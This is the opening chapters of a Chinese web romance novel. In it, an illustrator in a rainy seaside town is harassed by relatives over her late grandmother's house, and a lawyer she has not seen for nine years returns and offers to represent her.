《见天光》 1. 第 1 章 《见天光》全本免费阅读 《见天光》 文|澍以 晋江文学城独家发表 2024.06.12 * 微光·卷。 - 才将将下午三点钟,天色已经昏暗至此,想来京照市晚间有雨的天气预报应当是极为准的。 张期期捧着白色的百合花站在墓碑前看着那人灿烂耀眼的笑容,她面色平静,眼眸中却带着沁入眼底的悲伤…… 天气预报有雨是极为准的,但是这“晚间”却不太准了,因为只是这一会儿的功夫,天空便落下了淅淅沥沥的小雨。 她熟练地从包中拿出一把折叠的黑色雨伞撑起来,雨伞的伞檐遮住了张期期的眉眼,微微泛白的唇瓣轻动着,仿佛在说着什么,只是这一切的话语都在隐没在淅淅沥沥的雨声中。 也不知过了多久,张期期才将花束轻轻放在墓碑前,低声道:“……我走了,明年、明年我再来看你。” 离开前,她再次望了一看墓碑上那人轻快明亮的笑意,随即转身走入风雨里。 淅沥的雨水打湿墓碑前的花束,溅起细小的水珠。 * 京照机场。 机场外天色昏暗,空气沉闷,机场内灯光却亮得刺眼,冷气十足,明明是五月份,来来往往的旅客都默默加上了一层外衫。 “尊敬的各位旅客请注意,由京照飞往鹿海的航班CZ3739现在已经开始登机,请您携带自己的行李物品前往A7登机口登机……” 广播声响起,张期期收回看着窗外的眼神,她垂眸看了一眼自己手上的机票,CZ3739是她的航班号。 踏上廊桥的那一刻,她隔着廊桥的玻璃看了一眼京照市的天空。 飞机在跑道上滑行一段距离之后,抬头起飞,起落架缩起,划过了京照市的天空…… —— 另一边,飞机落地。 陈恕从行李转盘处拿上黑色行李箱,走出机场,迎面便被大风大雨裹挟着的冷气激了一下。 瓢泼大雨中,一辆白色的奥迪A3停在了他的面前。 车窗缓缓下降,周嘉先的面容显露出来。 周嘉先笑着招手,“快上车。” 陈恕这才微微笑了,他将行李箱放在后尾箱后,打开副驾驶的车门,坐上车,关上车门,一套动作一气呵成。 周嘉先启动车子,微侧首笑道:“恭喜陈律师啊!历时五年,终于打赢了这场“维C垄断案”。作为唯一参与这次跨国案件的年轻人,请问您现在是什么感想?” “维C争端”这场知名的跨国案件,在全世界引发了广泛的注意,这个案件是美国的两家企业以垄断为由,将华国的四家维生素C龙头企业诉至法院。 这个案件当年在最开始的时候,陈恕刚好毕业,回到国内作为“联合律所”的底层小律师的时候,就被他的师傅挑中了,作为他的助手一同参与这个案件。 同时参与这个案件的有国内知名的其他几个律所的顶级大佬律师,在这其中陈恕是最年轻的一个。 陈恕扯了扯嘴角,眼神疲惫,声音微哑,“什么感想……大概是终于不用频繁地出差了。” 周嘉先顿了顿,心有戚戚,“也是,这案件五年来原告、被告双方纠缠不休,历经美国层层法院审理,判决结果一再反转,是个人都吃不消啊。” 虽然是这么说,但周嘉先也知道,吃不消归吃不消,但如果能有机会共同参与这个华美跨国案,吃不消又算得了什么。 陈恕也是遇见贵人了,当年他作为底层小律师、作为助手能够参与这个案件,但随着他离开“联合律所”,与他一道成立“金颂律师事务所”后,他的师傅依旧力排众议,让他继续参与,这就真的非常难得了…… “维C争端”案件胜了,金颂律师事务所同样沾光! 周嘉先片刻间便婉转诸多思绪,他余光看向整个人疲惫靠在椅背上微阖上双眼的陈恕,想着就先送他回家休息吧。 念头一起时,便听陈恕声音晦涩道:“先哥,去看他吧。” 他,还能是谁…… 这是他们之间的心照不宣,周嘉先微微攥紧了方向盘。 雨水打在车子的挡风玻璃前,晕开了水花,雨刷刮过,挡风玻璃上顿时清晰一片,好似将过往都尽数擦掉。如此循环往复,这世间再浓烈的情绪也应当像此一样,了无痕迹吧…… 但周嘉先心中沉沉地叹了一口气,他的这些弟弟妹妹们呐,怎么就学不会往前走呢?一个一个都是这样。 * 墓园。 陈恕撑着伞,隔着雨幕看着墓碑上的照片,那人的笑容停留在盛大璀璨的当年。 周嘉先沉默半响后,还是忍不住道:“走吧,你这刚从美国回来,又马不停蹄地来这儿,身体要吃不消的。” 陈恕低垂着眼帘,“我来迟了。” 周嘉先一怔,这话一语双关。 半响,他安慰道:“也没有多迟,今天四月八日,就一天而已,你我都知道他是不会生气的。” 良久,陈恕才道:“走吧…” 话音刚落,他这才注意墓碑前那束被雨水摧残得破败的白色百合花,陈恕浑身一震,急切地环看四周。 然而雨雾蒙蒙,这见鬼的天气跑到墓园来的可就只有他和周嘉先而已。 几息之后,陈恕颓然地垂下头,苦笑不已。 周嘉先皱眉不解地问道:“怎么了?” 陈恕喃喃低语道:“先哥……你说……”会不会是她? 话未说完,他却泄气地扯了扯嘴角,算了,这么多年,这些“是她回来了”的错觉难道还不够多吗? 自嘲了自己一番之后,陈恕深吸了一口气,“算了,走吧……” —— 鹿海市。 鹿海市是华国南方靠海的二线城市,人文、艺术氛围浓重,同样的,因为地理位置的原因,这边每到四月底之后,雨雾在空气中的含量同样浓重。 在张期期前往京照市之前,鹿海已经接连阴雨绵绵了半个多月。此次下飞机,她原以为雨雾的天气应当还在继续,但出乎意料的是头顶的太阳炙热,阳光灿烂。这使得她的心情瞬间明媚起来。 然而当她打开自家院门的时候,满院子的狼藉使得她的心情再一次跌落谷底。 窗檐下她精心照看的多肉盆栽砸破在地,瓷片飞溅,泥土泼洒在大理石板上,桌椅翻倒……地面上踩着凌乱的脚印……这一切都昭示着曾经不速之客的到来。 张期期自然知晓这都是谁干的,更何况这已经不是第一次了。 屋内传来猫咪急切的叫声,张期期这才回过神来,将院门锁上,进了屋子,“木木……” “木木……你在哪儿呢?” 她这一开口,猫咪的叫声反倒消失了。 张期期找了一通之后,发现这猫居然站在冰箱的上方,和她打了一个视野盲区。 < 2. 第 2 章 《见天光》全本免费阅读 - 鹿海市才将将晴朗了一天而已,这几天又是阴天。 空气中湿气浓重、雾气朦胧……即便是白日,天空依旧还是昏暗发沉的。不过对于这样的天气,张期期早就已经习惯了。 听着院门外传来的谩骂声,她神色看似无波无澜、麻木,但紧紧攥着画笔的手却泄露了她内心的情绪。 “砰”…… 是二舅翻过了院子低矮的围墙,从墙上跳下来踩在石板上的声音。 张期期安慰自己,反正他们最多只能进到院子里而已,一楼的门她一向都是习惯锁住的。 她现在所住的是一个带着小院子的小二层自建房,石塘镇的房子基本上都是这样的风格,大差不差的。 鹿海市是二线城市,但只有市中心才会有很多的小区住宅以及高楼大厦的写字楼。像石塘这种县城,更多的则是带着一股青野、自然的小镇气息。 二舅都已经进了院门,接着应该就是一系列的打砸声了吧,再然后是二舅打开院门,又是哗啦啦一圈人跑到她的院子里,对着屋里的她继续谩骂吧…… 突然一声凄厉的猫叫声响起,张期期顿时脸色一白。 “木木——”木木又跑出去了…… “艹!这畜生居然敢抓我!” “木木……”张期期忙不迭地起身往楼下跑去,她顾不得什么了,直接打开了一楼的大门。 “死丫头,你终于出来了。”原本打算去逮住猫的戚家二舅听到门打开的声音,顿时站直了身体,目光嫌恶地看着张期期。 也正是这会儿的功夫,张期期白着脸,迅速往木木所在的位置而去,将还在大叫的木木紧紧抱在怀里,如果是没生过病之前的她,她根本不怕,但自从生过病之后,她的力气早就不如从前,身体也比较羸弱。 眼前的这一群人是她的舅舅、舅妈们。 张期期绷着脸,背脊僵直的站在原地,神色戒备。 此时此刻她的心拔凉拔凉的,好似被浇了一头的冷水一般,这些人身上流着亲缘的血,干的却是断情绝义的事。 戚家大舅妈突然走上前来,张期期防备地往后退了几步。 大概是真的见识到张期期不吃硬的,这会儿戚家大舅妈“哎呀”了一声,笑着道,“期期啊,舅舅舅妈也不想这样的,这都是没法子的事啊,你看看……你几位表哥表姐年纪都差不多了,都要结婚了,这舅舅舅妈们手头都紧的啊……” “他们也都是你的姐姐哥哥……咱们都是亲戚……” 张期期听着,抿了抿唇。 什么姐姐哥哥……她和他们一点儿都不熟,不说他们,就是这几位舅舅、舅妈,早年的时候,他们就已经和姥姥断绝来往了,姥姥生前病重的时候,他们也像人间蒸发一样。 现在姥姥去世了,他们却盯上了这栋房子,这是姥姥留给她的东西,她是不会给他们的。 见张期期软硬不吃,戚二舅妈脸拉得极长、眉毛高高耸起。 她尖锐的声音响起,“不用和她说好话,这房子是我们戚家的,她一个姓张的凭什么霸占着房子,整个石塘镇就没有这样的道理。” “妈就是老糊涂了,好好的房子留给外人。” “这房子给你舅舅们,天经地义。有你张期期什么事?” …… 戚家三兄弟就站在他们的老婆身后,眼神嫌恶,面色难看。 张期期紧紧抱着木木,好似能从它身上得到底气一样,她抬头,眼神执拗,“姥姥临终前说了,这房子是留给我的。我知道你们是想将这房子拿去卖了,一家一份,但是姥姥不会同意的。” “我也不会同意!” 戚家小舅脸色铁青,他可还欠着赌债呢,没工夫陪一个小丫头在这里扯。 “别和她废话,我们进去找。” 说完他掉头就往里面走,路过院子里的植物架时,戚小舅泄愤地将架子掀倒在地上。 噼里啪啦地—— 多肉盆栽又一次砸破在大理石板上。 张期期吓了一跳,连忙安抚怀中同样被吓到的木木,她深吸一口气,僵直着站在原地,听着房子里那群人骂骂咧咧、翻箱倒柜的声音。 报警吗? 没用的,她已经报过好几次警了,每次警察一上门,他们就低头认错,因着是家务事,警察们一般都是批评了一顿,填写了出警笔录,随后又不了了之,然而下一次舅舅们继续来…… 不拿到房产证,他们是绝不会善巴甘休的。 张期期微微垂下眼眸,他们是绝对拿不到房产证的。 天色昏昏沉沉的,一副将要大雨倾盆的预兆。 屋内的人许是许久都找不到房产证,张期期听着他们渐渐暴怒的声音,微微咬了咬唇,她慌张地跑到了院门边。 即使知晓这些人也害怕将事情闹大,不敢真的对她对手,但此刻她心跳依旧有些快。 ……站在院门边,如果他们真的要动手,她至少可以跑掉。 良久,戚家人终于出来了,一个个脸色都是张期期预料到的难看,戚家老三气急败坏,甚至冲到她的面前,抬起了手。 张期期瞳孔骤缩,木木也瞬间吓得跳走了,她下意识偏过了头。 “老三!”戚大冷声喝道,别动手,动手就麻烦了…… 与此同时,“你们在干什么——” 一声极具威严的冷喝声突兀地响起,压迫感十足,听得人头皮发麻,这是上位者才拥有的感觉。 众人循声望过去,张期期自然也不例外。 然而她抬眼望过去的瞬间,顿时愣住了,按着院门的指尖开始泛白,她几乎立刻想要将院门关上,隔绝那令她几近窒息的视线。 那道威严声音的发出者身边站着一个高大、犹如青柏般挺直的年轻男人。 陈恕。 她的心脏砰砰跳动得极快,九年,整整九年了,他居然如此猝不及防地出现在了她的面前。 方正岳是石塘镇的镇长,而戚家三兄弟是石塘镇有名的刺头,还是那种能屈能伸、专门钻法律漏洞的,因此双方自然是打过照面的。 这不,戚大立刻上前,低眉顺眼地笑着道:“镇长,误会,都是误会。小孩子不懂事,长辈管教呢。这是我们的外甥女。” 方正岳这会儿也不想多问,闻言只是冷眼盯着他们道:“安份点,别惹事。” 方正岳收回视线,疑惑道,“陈先生……” 陈恕压抑着快要决堤的情绪,动了动僵硬的身体,他收回视线,微微颔首,微笑着道:“镇长,是往前走吗?” 方正岳:……这、不认识? 刚才若不是见陈恕脸色骤变,死死盯着那边看,他还以为是认识的人呢,否则他就不会出声…… 思绪一转,方正岳此刻也顾不得什么了,道:“是,我们这边走。” 3. 第 3 章 《见天光》全本免费阅读 - 这场憋了一天的雨依旧没有下,空气变得越发沉闷、黏稠,对于刚来鹿海市的人来说,体验感是非常不美好的。 陈恕应付完石塘镇这次关于捐助和法律援助的政府对接人员后,他婉拒了方正岳开车送他回酒店的盛情邀请,而是自己打了一辆出租车回到了下榻的酒店。 电梯门关上的那一瞬间,他脸上带着的恰到好处的笑容瞬间消失,手拿着公文包的指尖紧紧扣着,手背上青筋直跳。 陈恕感觉到自己的额角正钝钝生疼。 电梯叮咚一声,门开了。 门外站着两个学生装扮、嘻嘻哈哈打闹着的女生,她们闻声下意识看向电梯内,第一眼便眼前一亮。 「天呐,这男的长得也太好看了吧。」 「要不要上去拿微信?」 两个女生眉来眼去地互相给对方使眼色。 下一瞬,她们目光无意间与陈恕对上,见男人皱着眉头,眼神沉郁,立刻打消了这个念头。 陈恕面无表情,他身后的电梯正缓缓关闭,走出几步,身后传来女生们若有似无的低声议论。 「吓死我了,刚刚那个男的长得好看是好看,就是脸色太吓人了。」 「就是,他看起来脾气好像不太好。」 陈恕闻言,脚步顿时一滞。 今天他久违地情绪失控了,这些年来,除了在法庭上,他越来越温和,,脸上也都带着笑意,像今天这般浑身上下透露着不近人情的样子只能是在他青涩而尖锐的少年时代。 在那个他浑身竖起尖刺的青涩岁月,曾有个人毫不在意他的冷淡,横冲直撞地闯入他的世界。 从公文包里拿出房卡,刷了门后,他关上门,随手将公文包放在房间的沙发上。 陈恕松了松有些紧的领带,动作透露着几分的不耐烦和沉郁。 他住的房间在酒店的最高层,房间内有一整面的落地窗,从窗内看出去,便是一整条无限蜿蜒的海岸线。 窗外沉闷的天气呈现出一副风雨欲来的模样,因此沙滩上大多是大声呼唤着朋友、孩子返程的游客们,父母、孩子、朋友间嬉笑打闹、收拾着赶海设备归家…… 隔着一层玻璃,窗内窗外恍然是两个世界一般,一边热闹,一边沉寂。 陈恕久久伫立在落地窗前看着这憋了一天的雨终于随着“轰隆”一声响雷落了下来,热闹的沙滩上此刻已然空无一人,唯有海浪不断地翻滚。 张期期,九年了,你终于舍得出现了。 昏暗、寂静的房间内出现一声低沉的苦笑声,陈恕隐没在昏暗中的眼神里满是自嘲,当年留不住她,如今放不下她。 陈恕,你真是可怜,留住她和放下她,这九年的时间里,你一样都没做到。 —— 另一边,此时的张期期正仰躺在楼顶阁楼的床上,透明的斜窗玻璃被雨水拍打着,溅起一朵朵水花,又在下一刻化成水流顺着玻璃滑下。 窗外乌漆嘛黑的什么都看不见,窗内灯光暖黄,安宁寂静,只剩下木木微微的打鼾声。 半响后,张期期深吸一口气,从床上起身,双手轻轻拍了拍脸颊,让自己清醒一点。 她来到电脑前将昨日完稿的人设封面图发送给了柏雪。 这些年来,她用“七七”这个名字在社交平台上分享自己的作品,吸引粉丝和潜在的买家。 几年来积累下来,她已经算得上是小有名气了,于是开始接受委托画稿,甚至和一些行业比如游戏、动漫、出版方合作,这是她主要的收入来源。 除此之外,她还有一部分的收入是她在shutterstock、GettyImages、iStockphoto等平台上上传自己的作品,当她上传的作品被买家下载时,就可以得到一部分的收益分成。 「七七:柏雪,人设封面图已发,请查收。有什么不满意、需要修改的,现在可以告诉我。」 消息发出去的下一秒,柏雪就回复了。 「白雪:啊!!!看到了看到了,好看!!太美了,把我女儿画得那么美!谢谢七七。」 「白雪:不用改了!非常完美,七七老师出品必属精品。」 柏雪口中的女儿是她小说的女主角。 「白雪:七七老师,尾款怎么付?」 张期期笑了笑,「七七:还是老样子,转我ZFB账号。」 「白雪:OK」 下一秒,张期期的手机叮咚一声,显示已经收到一笔转账。 「白雪:对了,接下来我要构思一篇新文,大概有一段时间不会上线了,先和你说一声。」 「七七:好。」 夜色深沉,窗外瓢泼大雨还在下着。 张期期将电脑关机,重新躺回了床上,“木木,你说……陈恕怎么突然来了鹿海市呢?” 这个问题不仅仅是张期期在疑惑,从万千复杂情绪中暂时挣脱出来的陈恕也有几分疑虑。 酒店内,因为茶几的高度比较低,导致坐在沙发上办公的陈恕只能半躬着身子用笔记本发邮件。 他将今天与石塘镇政府人民对接之后签订的一系列协议发回给到律所。后续这件由律所的李杨负责就行了,他不需要再亲自过来。 邮件发出之后,陈恕坐直起来,伸展了发酸的背部,顺手将茶几上的矿泉水捞过、打开,他喝了几口后,神色若有所思。 其实金颂律所与石塘镇签订协议这件事并不是他来鹿海市的主要目的,他来鹿海市另有一件要事,而这还要一周前说起,那是他刚刚打完“维C争端”跨国案件后回国的第二天。 —— 京照市,金颂律师事务所,上午。 今日一大早陈恕就先去了一趟法院,再到律所。 此刻他推开律所的玻璃门时却发现今日律所的同事们难得地,一个个居然不是在埋头处理工作,反而是一群人聚在一起好像在激动地谈论着什么。 他进来之后,这群人的声音戛然而止,可脸上还遗留着激动的笑意。 陈恕微笑道:“这是怎么了?有什么好事发生了?” 周嘉先笑声爽朗,“还能是什么好事,他们在讨论你刚刚打赢的维C争端案子。” “是啊!老板,这案子一赢,我们律所的知名度肯定又高了,我已经能够预料到下半年我们肯定会忙到死。”方宜眉开眼笑。 这场耗时五年的跨国反垄断诉讼,终于以我国企业的完美胜诉画上了句号。这一次的胜利,不单是金颂律所的胜利,也不单是我国制药企业的胜利,更是整个华国的胜利。 “忙是忙,但是……嘿嘿……”这也意味着律师代理费的丰厚啊…… 李杨嘿嘿笑着,摸了摸自己的后脑勺,他未尽的话,大家都明白什么意思。 陈恕拍了拍李杨的肩膀道:“这案子也不是我一个人负责的,还有很多业内的前辈们一起。好了……下午小林就到了,我让他从美国都给你们带了礼物 4. 第 4 章 《见天光》全本免费阅读 - 从落地窗外望出去,远处的立交桥上车水马龙,京照市每一天早上都是如此的拥堵。 “蒋先生,这件事真的谢谢您了,哪天您若是来了京照市,我请您吃饭,好好招待您。”陈恕笑着道。 片刻后,他挂断了电话,轻声念道,“丁义珍,1942年8月12日,鹿海市石塘镇红旗小学。” 作为资助人,向日葵助学中心自然是有对方的身份证信息的。 陈恕推测资助他的丁女士大概是红旗小学的教职工人员,否则她的户口怎么会在红旗小学,目前虽然他没有对方的具体地址,但到时候去学校问问便能知晓了。 想到这里,陈恕立刻走出办公室,走到他的助理小林面前,他轻轻敲了敲对方的桌面,道:“小林,给我订一张飞往鹿海市的机票,越快越好。” 此时,周嘉先正从律所的茶水间出来,他刚喝了几口保温瓶中的枸杞水,猛然被水呛到般撕心裂肺地咳嗽起来。 陈恕转身看向站在他身后的周嘉先,他皱起眉头,伸手拍了拍对方的背部,“着凉了?咳得这么厉害。” 周嘉先微微躬着腰,连连摆手,好半会儿后,他才压着嗓子里的痒意道:“没事,就是刚刚不小心喝水呛到了……” 陈恕:…… 默默收回了拍着对方背部的手。 周嘉先咳了咳,压压嗓子道,“你要去鹿海市?” 陈恕点头,“是……有点私事。” 周嘉先握着保温杯的水微微攥紧,随后突然恍然大悟想到什么一般,他一拍大腿道:“正好,我们律所和鹿海市石塘镇有捐助和法律援助,你这一趟过去,顺便先将协议给签了,省得李杨还要跑几趟。” 金颂律所对外一系列社会方面的对接,都是周嘉先在处理,而鹿海市石塘镇是周嘉先选中的几个帮扶城镇之一。 陈恕颔首,“行,我知道了。” 不过,先哥选中的地点倒是和资助他读书的丁女士居然是同一个镇,倒是巧了…… * 鹿海市。 窗外又一声闷雷响起,坐在沙发上的陈恕终于回过了神。男人眼帘微垂,睫毛在昏黄的灯光下投下阴影,无人看得清他眼底的情绪。 陈恕静坐良久,最终伸手将笔记本电脑啪地一声盖上,起身往浴室里去。 窗外狂风暴雨,他躺在床上睁着眼盯着漆黑的天花板。白日里的那一幕犹如一帧一帧极为缓慢的电影倒带,在这一帧一帧的画面里,他小心翼翼、珍而重之地在脑海中描绘着她的身影、面容。 而他也在这描绘中越发地意识到九年的时间是难以跨越的鸿沟,她甚至和他记忆中的样子有了很大的区别。 —— 次日。 石塘镇红旗小学行政办公室。 “丁义珍……你找丁老师?”办公室内一位年纪约莫五十出头的女老师皱着眉头继续道,“丁老师上个月月初就已经去世了。” 她的母亲和丁老师是多年的老朋友了,当初丁老师的葬礼,她和母亲还一同前去。 陈恕闻言,心道,算是找对了人。 丁义珍女士作为八十多岁的老人家,即便在红旗小学任教到退休,也一定在十几年前就退休了,而办公室内其他人都是年轻的行政老师,他们是不可能认识丁义珍女士的。 陈恕颔首,“嗯,这一点我已经知道了,这次来是想问问您知道丁老师现在的家庭住址吗?” ……即便丁老师不在了,但作为受过对方大恩的他,除了要在坟前献上一束花之外,于情于理都该上门拜访她的家人。 女老师一听,想起丁老师家中孤零零的外孙女,顿时眼神戒备,“你有什么事情吗?” 陈恕神色谦逊,“丁老师曾经资助过我上学,可惜如今她不在了,我想看看她的家人有没有什么难处,或者有什么是我能帮上忙的……” 话说完,他为了让自己的话更有说服力,更可信,于是拿出金颂律所的名片,毕竟正常人哪能随便就将别人家的信息告诉陌生人呢? 女老师仔仔细细端详了一遍陈恕递给她的名片,京照市的金颂律师事务所…… 作为学校的行政老师,时政新闻她是最为关注的,因此立刻想到不久前打赢“华美维c争端”的联合几家律所内就有“金颂”。 女老师将名片还给陈恕,点点头道,“嗯…你等会儿,我把地址写在纸上给你。” “谢谢您。” 女老师微笑着摇了摇头,直到陈恕的背影消失不见,她才轻轻地叹了一口气,她自己上有老、下有小的,丈夫身体也不好,丁老师家的三个儿子又都是混不吝的…… 她是无能为力了…… 丁老师,希望这个年轻人能帮帮您的外孙女吧。 * 陈恕极快地扫了一眼纸条上的地址后,便将其塞进了西装口袋里。 上门拜访别人自然不能空手上门,于是他又马不停蹄地去了镇上最大的商场,挑选了一些牛奶、茶叶、水果、燕窝之类的礼品。 陈恕抿了抿唇,似乎只要这么忙碌起来,他就能忘记张期期此刻和他正处在一个小镇上,就能克制自己抛弃尊严、前去找她的欲|望。 陈恕下了出租车后,拎着大包小包,顺着路牌望过去,不远处的七号巷……702号房,正是他昨日遇见张期期的地方。 纸条上所写的地址也正是702号房。 …… 五月的鹿海市,午后天气总是格外地沉闷、炙热。 然而此时的陈恕却手心冰凉,他伫立在原地,任由翻滚咆哮的情绪在心间上横冲直撞。 也不知过了多久,沉重的礼物将他的手心勒得生疼,陈恕眼底恢复一片沉静,抬腿走过去。 “你敬酒不吃吃罚酒是吧?你当真以为我们不敢动手揍你……” “我劝你,老老实实地将房本拿出来,不然吃苦头的是你,我们和你可没什么感情,这你是知道的。” “你也在这儿住了这么些年了,还能不清楚我们在石塘镇混得多开……你有什么能力和我们刚?” “……” 凄厉的猫叫声响起,摔碎东西的声音刺耳极了,这其中还夹杂着几个嗓音不同的男性在叫骂着。 陈恕脸色瞬间大变,他自然记得,这其中一道嗓音便是昨天自称是张期期舅舅的声音。 他丢下东西,拔腿跑过去,702号房的院门正大开着,院子里满是狼籍,盆栽砸破在地上,泥土倾倒,多肉植株被人踩烂在脚底下。 张期期一身白色的家居连衣裙,脚踩着拖鞋,怀里紧紧抱着一只肥胖的橘猫就站在那群自称亲人,却一个个凶神恶煞的男人女人中。 记忆里那双笑起来明媚绚烂的眼睛里此刻却蔓延着强撑的坚强。 陈恕一眼就能看穿她的伪装,伪装的坚强眼底是惊惧不安的灵 5. 第 5 章 《见天光》全本免费阅读 - 戚大一群人离开后,院子里只剩下陈恕和张期期,哦…不,还有一只叫“木木”的橘猫。 似乎是见到危机解除,木木不再绷着身子,反而安安静静地趴在张期期的怀抱中,张期期则习惯性地摸了摸木木的脑袋。 陈恕见此,眼神一扫,锐利地目光看向那眯着双眼的大肥猫,木木反射性一抖,随机挣脱着跳离张期期的怀抱,飞快落地后窜上二楼。 “木木……”张期期下意识喊道,喊出口的那一瞬间她的尾音顿时低下来,心虚和尴尬浮现在她的脸上。 陈恕清冷的目光射向她,眼神里有一丝的嘲讽。 呵,木木…… 托他记忆力的福,此刻他的耳边仿佛瞬间回响起当年她说过的那些话。 「陈恕,我想养只小猫咪,可是我妈妈不喜欢,她不让我养,你说……以后我们养一只怎么样?」 「你叫陈恕,恕和树同音,那……以后我们家小猫咪就叫“木木”吧。」 「木木、木木,一听就是陈恕的小猫,陈恕的小猫就是我张期期的小猫。」 那年,他笔下不停地刷着试卷,被她缠得不行,只得点头同意,然而心里却不以为意,他养自己都费劲,可从来没想过养猫这样费钱的消遣。 他随口敷衍的应答,她听后,清亮的笑声似乎还在耳边,然而现实却已经是经年已过、物是人非。 * 每年的四月到八月,是鹿海市的雨季。这会儿空中的云朵慢慢染上墨色,刮起的风带着一股风雨欲来、难得的清凉感,唯独院子里的空气却好像凝滞了一般,沉闷黏腻。 院外有镇民踩着拖鞋跑过,发出“啪啪啪”的声响,“要下雨了,收衣服啊”的呼喊声由近传远,陈恕这才如梦初醒般地回过神来。 他一言不发,径直走出了院子。 张期期望着他挺拔的背影逐渐消失在门口,最终她微垂着眼,一声不吭地站在原地。 这时候她多希望时间能有个暂停键,可以暂停在这一次的相逢,她不想……不想他们之间再像这九年一样越走越远。 然而几分钟后,院门处传来轻微的脚步声。 张期期心有所感似的,猛然抬头,当看到院门外拎着大包小包、去而复返的陈恕时,她眼神中满是不可置信。 陈恕抿了抿唇,神色平静地走了近来。 “陈、陈恕,你……”张期期扫了一眼拎着大包小包,一副上门拜访他人的样子,结结巴巴,轻声开口,“你……我们之间不用如此破费的。” 陈恕扫了一眼自己提着的礼品,知道她是误会了,但……似乎也不算误会,毕竟很大概率她应该是丁义珍丁老师的家人。 “我们之间?”他反问着,随手将礼品放在了院子中唯一没有被掀翻的椅子上。 陈恕压抑着的情绪翻滚,道:“我们之间还能剩下什么?”脱口而出的瞬间,他紧跟着撇过了头,眼神狼狈。 张期期无意识地攥了攥手心,“陈恕……我……” 那段曾经年少的青葱岁月,在时间的推移下,已然满是晦涩。 …… “要下大雨了,这些多肉植物不需要先搬进来吗?”陈恕打断张期期未尽的话,视线瞥向院子里七零八落的多肉植物。 多肉植株不能泡过多的雨水,会烂根的。 “嗯,要收起来的……”张期期呐呐点头。 他这般语气淡漠,似乎是不想从她口中提起过去,张期期既庆幸又失落。 未等她说完,陈恕便已经将白色衬衫的袖口稍微往上一卷,露出精瘦修长的小臂,他半蹲下身子将地上洒出来的泥土重新拨回了土盆里夯实,将歪歪扭扭的植株固定住。 视线落在其他摔破的土盆上,陈恕头也不抬道:“有多余的盆子吗?” “哦,有的,有的。我以前买的时候……”张期期回过神来,不再盯着他的小臂看。 “拿来……”语气无波无澜。 “哦,好。”张期期顿住,止住方才的话头后,垂头道好。 她想说她以前买的时候,商家送了很多个备用的给她,但……眼前的陈恕早就不是当年那个一直听她叨叨的少年了。 - 巴掌大的小盆子叠成一摞放在院中洗手台下面的柜子里,张期期取出几个,半蹲下身子递给正用手拨泥土的男人。 身前出现阴影,陈恕抬眼望过去,他们之间的距离不到半米,张期期那张较之年少时微微圆润的脸现在却显得瘦削了很多,柔顺的及腰长发披散在背后,有几簇调皮的发尾滑落在手臂上。 她的额头还印着午睡后压出来的睡痕,一如九年前他初见她的那一天,那时热风干燥、天蓝云轻。 除了瘦了之外,九年的时光并未在她的容颜上落下多少岁月的痕迹,只是她的眼神不再像少女时期那般炙热、滚烫、耀眼。 陈恕沉默一瞬,伸手去接,不经意间,两人指尖相碰。 四目相对的片刻,张期期瞬间缩回手,土盆坠落在地,发出声响。她一惊,立刻低头看向地面,好在因为她是半蹲着身子的,距离地面并不高,土盆并没有摔碎,只是在地上滚了滚。 张期期神色尴尬,眼神带着歉意,陈恕却已经拿起几个小盆子起身走到另外一边,“我去那边收拾。” “嗯。”张期期垂眼轻声道。 - 赶在暴雨倾泻而下的前一刻,二人将多肉植物全部摆放回木架子上,再将其转移到一楼前的廊檐下。 屋外天空,墨色的云团随着大风狂野地四处奔袭,天一下子变暗了下来,远处的建筑上点缀起了星星亮光。 噼里啪啦的雨点声骤响,雨水连成无数道雨线形成了一整片的雨幕,恍然将屋内与世界隔绝开来。 张期期伸手在开关上一按,暖黄色的灯光亮起,给屋内平添了几分温馨舒适。 “洗手间在那边,你……可以过去清洗一下。”她轻声说着,仿佛唯恐大声点儿会击碎此刻安宁的氛围。 陈恕点头,进了洗手间,他眼神大致扫视了一眼这个不到四平方的地方……没有男性的洗漱用品。 - 趁着陈恕去了洗手间,张期期飞快地冲上二楼,将身上那睡得皱巴巴的家居连衣裙换下。她纠结了一瞬,为了不显得太过刻意,便换上了一件 6. 第 6 章 《见天光》全本免费阅读 - 这个消息陈恕早就知道了,此刻见她神色悲伤,他静默了一瞬,只觉得心里又酸又胀。 ……他有些心软了。 然而她曾经绷着脸强硬地非要他离开、她站在陆向川的身边时的画面在他的脑海中反复放映,这九年来历历在目。那些铺天盖地的伤痛永远新鲜,永远不褪色,他又在一瞬间硬起了心肠。 陈恕垂眸道了一声“节哀”后,才继续道:“资助我读书的人是你的姥姥,丁义珍丁女士。” “我姥姥就是以前一直资助你读书的人?”张期期愕然,瞪大双眼,“这、这事我并不知道。” 高中时陈恕就曾经告诉过她,他能够读书都是因为好心人的一对一资助。 陈恕颔首,“这件事我也是最近才知晓的,我承了你姥姥的恩情,既然她已经不在了,你是她的外孙女,这恩情就报在你身上。所以……有什么是我能帮上忙的。” 此时此刻,陈恕完全没有意识到自己的私心,若不是有私心,论起血缘亲近程度,戚家三兄弟更是丁义珍的儿子,他怎么不说恩情要报在这三兄弟身上呢。 张期期微微摇头,“姥姥资助你,一定没想过要你回报,所以不用了,而且我这也没什么事。” 陈恕眼底闪过一丝黯然,心底微微有些恼怒,她就这么想和他撇清关系? “如果我没有记错的话,刚刚你似乎还陷在麻烦中。” 话到这里,陈恕挺直背脊,好整以暇继续道:“方才你们的冲突,很明显是关于丁女士房产遗留的问题,你也听到了,你舅舅他们或许会听从我的建议从法律方面来解决这个问题。所以你现在同样需要一个律师,而我,很明显就是你目前最好的选择。” “这是我的名片。”陈恕从衬衫的口袋中拿出名片,隔着一张茶几起身递给了她。 张期期踌躇一瞬,到底还是接过了名片,她低垂着眉眼,看着名片上的信息。 黑色烫金的名片,低调奢华。 - 金颂律师事务所 陈恕 135xxxxxxxx 金颂律师事务所,张期期略有耳闻,这似乎是京照市还蛮有名的律所。 陈恕见她小心翼翼地摸过名片上有关于他的信息,心中隐密地升起一丝欣喜,然而嘴角微扬的瞬间,某些画面在他的脑海中一闪而过,他瞬间绷直了下颌。 - 窗外瓢泼大雨,雨水拍打在窗户上,发出“哒哒哒”的声响,雨珠顺着窗玻璃蜿蜒流下,水汽朦胧,望不到窗外的景色,天地间好像将这件屋子隔绝开来,只为久别重逢的人创造相处的空间。 陈恕眼神发沉地盯着正垂头看名片的张期期,柔顺的长发自脖颈两侧分开,她纤细、白皙的皮肤看得他眼皮一跳,移开目光,不敢直视,随后又似是若无其事地坐回了沙发上。 沉默良久,张期期妥协了,她低声道:“舅舅们想要这间屋子,他们计划拿到房产证后就把房子挂出去卖,卖房子的钱他们分成三份,一人一份。” 